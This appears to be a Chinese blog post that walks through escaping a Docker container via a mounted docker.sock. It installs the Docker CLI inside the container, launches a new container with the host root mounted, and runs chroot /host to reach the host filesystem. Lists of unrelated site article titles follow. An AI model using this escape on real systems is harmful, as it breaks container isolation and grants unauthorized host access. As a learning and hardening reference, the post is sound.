容器逃逸 --with docker.sock

本人对于容器逃逸的基本理解就是用户从容器中逃出去到宿主机里去了。

本文意在记录一个使用 docker.sock 来进行容器逃逸的方法。

首先随便来个镜像,这里选用 ubuntu:20.04

docker pull ubuntu:20.04
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock -d ubuntu:20.04

可以看到这里挂载了 docker.sock 到容器内。

进入容器并下载 docker-ce-cli

apt update
apt-get install ca-certificates curl gnupg lsb-release mkdir -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | gpg --dearmor -o /etc/apt/keyrings/docker.gpg echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null apt-get update
apt-get install docker-ce-cli

然后运行一个新的容器:

docker run -it -v /:/host ubuntu:20.04 bash

可以看到这里把根目录挂载到了新的容器内,要注意这个根目录可不是当前容器的根目录,而是当前容器的宿主机的根目录,在新的容器内,我们执行

chroot /host

这样就可以在新的容器内直接访问宿主机的文件系统了,实现了逃逸。

最新文章

  1. SQL Sever无法打开链接对话框,未将对象引用设置到对象的实例。(AppIDPackage)
  2. CommonJS,AMD,CMD区别
  3. 【解决方案】安装vssdk_full.exe遇到的问题
  4. 02 C语言指针
  5. 使用 GitHub / GitLab 的 Webhooks 进行网站自动化部署
  6. javascript 毫秒转日期 日期时间转毫秒
  7. English article1
  8. PHP前端$.ajax传递数据到后台
  9. 音乐API之QQ音乐
  10. Redis之持久化(RDB AOF)
  11. openstack Q版部署-----界面horizon安装(9)
  12. jenkins 安装网址
  13. c++11 线程池学习笔记 (一) 任务队列
  14. java对PDF文档的各种操作
  15. [Artoolkit] ARSimpleNativeCarsProj for Multi Markers Tracking
  16. JavaScript基本内容
  17. IOS初级:UIScrollView & UIPageControl
  18. 深入了解preventDefault与stopPropagation
  19. Arithmatic项目修改总结
  20. Postman简明教程

热门文章

  1. python自动发布-优化版本
  2. P6_认识小程序页面
  3. 学习Java Day29
  4. uboot启动过程 2
  5. orw入门报告
  6. ENCOURAGE研究: 病情中度活动RA获得深度缓解后有望实现停药
  7. git添加多账户(附带tortoiseGit多账号使用)
  8. js(最新)手机号码 正则验证 - 代码篇
  9. 《爆肝整理》保姆级系列教程-玩转Charles抓包神器教程(9)-Charles如何修改请求参数和响应数据-上篇
  10. 【译】.NET 7 中的性能改进(十)